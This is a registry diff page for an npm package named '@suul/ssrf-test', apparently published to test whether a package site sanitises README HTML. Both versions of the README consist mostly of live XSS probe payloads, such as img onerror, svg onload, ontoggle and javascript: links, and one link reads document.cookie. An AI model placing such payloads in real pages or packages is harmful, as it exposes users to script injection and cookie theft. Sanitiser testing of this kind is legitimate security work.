@suul/ssrf-test 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +9 -19
  2. package/package.json +2 -1
package/README.md CHANGED
@@ -1,24 +1,14 @@
1
1
  # ssrf-test
2
2
 
3
- Security research package.
3
+ Security research.
4
4
 
5
- ## Test 1: img onerror
6
- <img src="x" onerror="document.title='XSS-TEST-1'">
5
+ ## XSS Tests
7
6
 
8
- ## Test 2: SVG onload
9
- <svg onload="document.title='XSS-TEST-2'"></svg>
7
+ Test 1: `<img src="x" onerror="document.title='XSS1'">`
8
+ Test 2: `<svg onload="document.title='XSS2'"></svg>`
9
+ Test 3: `<a href="javascript:void(0)">link</a>`
10
+ Test 4: Normal paragraph with **bold** text.
10
11
 
11
- ## Test 3: details ontoggle
12
- <details open ontoggle="document.title='XSS-TEST-3'"><summary>test</summary></details>
13
-
14
- ## Test 4: javascript href
15
- <a href="javascript:document.title='XSS-TEST-4'">click me</a>
16
-
17
- ## Test 5: data URI
18
- <img src="data:text/html,<script>document.title='XSS-TEST-5'</script>">
19
-
20
- ## Test 6: SVG foreignObject
21
- <svg><foreignObject><p>test</p></foreignObject></svg>
22
-
23
- ## Test 7: CSS expression (IE)
24
- <p style="width:expression(document.title='XSS-TEST-7')">test</p>
12
+ <img src="x" onerror="document.title='XSS-SURVIVED'">
13
+ <svg onload="document.title='XSS-SVG'"></svg>
14
+ <a href="javascript:alert(document.cookie)">JS link</a>
package/package.json CHANGED
@@ -1,8 +1,9 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "SSRF test - security research",
5
5
  "main": "index.js",
6
+ "readme": "README.md",
6
7
  "license": "MIT",
7
8
  "publishConfig": {"access": "public"}
8
9
  }